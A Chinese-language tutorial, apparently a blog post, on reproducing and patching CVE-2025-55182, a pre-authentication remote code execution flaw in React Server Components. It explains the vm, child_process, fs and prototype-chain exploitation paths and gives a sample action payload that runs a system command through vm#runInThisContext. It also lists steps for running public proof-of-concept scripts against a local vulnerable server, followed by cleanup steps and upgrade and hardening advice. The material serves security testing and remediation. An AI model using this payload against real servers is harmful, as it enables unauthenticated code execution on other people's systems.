最新RCE漏洞CVE-2025-55182的复现与修复
CVE-2025-55182 是一个针对 React Server Components 的预认证远程代码执行(RCE)漏洞的概念验证(PoC)项目。
一.漏洞背景:
该漏洞存在于 React Server Components 中,允许攻击者在未认证的情况下,通过精心构造的请求执行远程代码。其核心问题在于对用户输入的处理不当,导致攻击者可以操纵原型链、调用危险模块(如 vm、child_process 等)或通过文件操作实现间接代码执行。
二. 漏洞利用原理:
漏洞的利用主要依赖于以下关键路径:
- 直接 RCE:通过调用包含在 webpack bundle 中的危险模块(如
vm或child_process),直接执行代码。例如,vm.runInThisContext可直接执行传入的字符串作为 JavaScript 代码。 - 间接 RCE:即使没有直接的危险模块,也可通过
fs模块写入恶意文件(如.js脚本),再通过module#_load加载执行,实现两步式代码执行。 - 原型链操纵:通过访问对象原型链(如
constructor、__proto__等),获取Function构造函数,进而构造可执行代码。
三. 关键文件解析:
漏洞利用脚本:
exploit-rce-v4.js:核心 RCE 利用脚本,通过vm#runInThisContext直接执行命令,例如调用child_process.execSync获取系统信息。javascript运行
// 示例 payload:通过 vm 模块执行命令
{
'$ACTION_REF_0': '',
'$ACTION_0:0': JSON.stringify({
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
})
}
exploit-indirect-rce.js:间接 RCE 示例,通过fs.writeFileSync写入恶意 JS 文件,再用module#_load加载执行。exploit-all-gadgets.js:测试多种 RCE 途径,包括vm、child_process、fs等模块的利用。
四. 漏洞验证步骤:(vps)
1.安装依赖(如果安装不成功则更新一下系统包)
# 安装 Node.js 和 npm(以 v18 为例)
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install -y nodejs git
# 验证安装
node -v # 应输出 v18.x.x
npm -v # 应输出 9.x.x 或更高
# 更新系统包
sudo apt update && sudo apt upgrade -y

2.克隆仓库并安装项目依赖
# 克隆代码仓库
git clone https://github.com/ejpir/CVE-2025-55182-poc.git
cd CVE-2025-55182-poc
# 安装项目依赖
npm install

3. 启动漏洞环境服务器
在 VPS 上运行漏洞服务器(默认端口 3002):
# 启动主服务器(支持直接 RCE 测试)
node --conditions react-server --conditions webpack src/server.js

4.攻击脚本的运行方式
直接在 VPS 的另一个终端中执行脚本
(1)运行直接 RCE 测试脚本(最基础的验证,通过vm模块执行系统命令):
node exploit-rce-v4.js

(2)测试所有利用链(vm、child_process、fs等):
node exploit-all-gadgets.js

五.清理测试环境残留
1.停止所有相关进程
- 在运行服务器的终端按
Ctrl+C终止进程; - 若进程残留,用
ps aux | grep node找到进程 ID,再用kill -9 进程ID强制关闭。
2.删除项目文件和测试生成的文件
# 进入项目上级目录,删除整个漏洞测试仓库
cd ..
rm -rf CVE-2025-55182-poc
# 清理测试中生成的临时文件(如/tmp下的测试文件)
rm -f /tmp/cve-2025-55182-test # 对应文件写入测试的残留
rm -f /tmp/indirect-rce-test.js # 若运行过间接RCE测试,删除生成的恶意脚本
3.关闭不必要的端口
测试时开放的 3002、3003 等端口,完成后建议关闭,减少攻击面
4.执行系统更新,修补可能的漏洞
sudo apt update && sudo apt upgrade -y
六.漏洞修复建议
该漏洞存在于以下包的 19.0、19.1.0、19.1.1 和 19.2.0 版本中:
-
react-server-dom-webpack
-
react-server-dom-parcel
-
react-server-dom-turbopack
1.更新版本
修复程序已在 19.0.1、19.1.2 和 19.2.1 版本中引入。如果您正在使用上述任何软件包,请立即升级到任何已修复的版本。
2.限制危险模块
通过 webpack 配置排除 vm、child_process 等模块,避免打包到服务器代码中。
3.校验输入
过滤含 __proto__、vm# 等关键词的恶意请求,只允许白名单内的参数。
4.降权运行
服务器进程用低权限账号启动,限制文件读写和命令执行范围。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)